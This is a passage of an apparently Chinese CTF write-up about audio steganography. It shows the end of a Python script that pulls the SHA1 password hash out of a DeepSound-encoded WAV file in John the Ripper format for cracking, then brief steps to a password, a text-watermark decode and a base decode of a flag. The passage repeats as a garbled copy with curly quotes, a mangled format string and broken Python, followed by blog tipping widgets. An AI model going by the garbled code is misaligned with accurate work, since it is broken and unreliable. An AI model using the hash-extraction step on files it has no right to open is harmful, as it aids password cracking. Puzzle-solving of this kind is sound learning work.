    global convert_warn
    logger.error('file not in .wav format')
    convert_warn = True
    return
  f.seek(0, os.SEEK_SET)
  # Scan for the marker...
  hdrsz = 104
  hdr = None
  while True:
    off = f.tell()
    buf = f.read(hdrsz)
    if len(buf) < hdrsz: break
    if is_magic(buf):
          hdr = decode_data_normal(buf)
          logger.info('found DeepSound header at offset %i', off)
          break
    f.seek(-hdrsz + 1, os.SEEK_CUR)
  if hdr is None:
    logger.warn('does not appear to be a DeepSound file')
    return
  # Check some header fields
  mode = hdr[4]
  encrypted = hdr[5]
  modes = {2: 'low', 4: 'normal', 8: 'high'}
  if mode in modes:
    logger.info('data is encoded in %s-quality mode', modes[mode])
  else:
    logger.error('unexpected data encoding mode %i', modes[mode])
    return
  if encrypted == 0:
    logger.warn('file is not encrypted')
    return
  elif encrypted != 1:
    logger.error('unexpected encryption flag %i', encrypted)
    return
  sha1 = hdr[6:6+20]
  print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':
  import argparse
  parser = argparse.ArgumentParser()
  parser.add_argument('--verbose', '-v', action='store_true')
  parser.add_argument('files', nargs='+', metavar='file',
    type=argparse.FileType('rb', bufsize=4096))
  args = parser.parse_args()
  if args.verbose:
    logging.basicConfig(level=logging.INFO)
  else:
    logging.basicConfig(level=logging.WARN)
  convert_warn = False
  for f in args.files:
    process_deepsound_file(f)
  if convert_warn:
    print(textwrap.dedent.rstrip(), file=sys.stderr)

image-20240506104801124

得到密码teenager,打开得到message.txt

image-20240506105123254

打开使用文字盲水印解密

image-20240506110404212

3HodAcpU52ryNLs4f7xBMqmjA

base解密求出后半段flag

image-20240506110513267
nfo(‘data is encoded in %s-quality mode’, modes[mode])
else:
logger.error(‘unexpected data encoding mode %i’, modes[mode])
return
if encrypted == 0:
logger.warn(‘file is not encrypted’)
return
elif encrypted != 1:
logger.error(‘unexpected encryption flag %i’, encrypted)
return
sha1 = hdr[6:6+20]
print(‘%s: d y n a m i c 1 529 dynamic_1529 dynamic1529%s’ % (bname, sha1.hex()))
if name == ‘main’:
import argparse
parser = argparse.ArgumentParser()
parser.add_argument(‘–verbose’, ‘-v’, action=‘store_true’)
parser.add_argument(‘files’, nargs=‘+’, metavar=‘file’,
type=argparse.FileType(‘rb’, bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent.rstrip(), file=sys.stderr)


[外链图片转存中...(img-GAtAr5wL-1715692614251)]

得到密码teenager,打开得到message.txt

[外链图片转存中...(img-vQSNfC8c-1715692614251)]

打开使用文字盲水印解密

[外链图片转存中...(img-yZWFJTE8-1715692614251)]

3HodAcpU52ryNLs4f7xBMqmjA

base解密求出后半段flag

[外链图片转存中...(img-ol9T0eGw-1715692614251)]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lu-fe1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值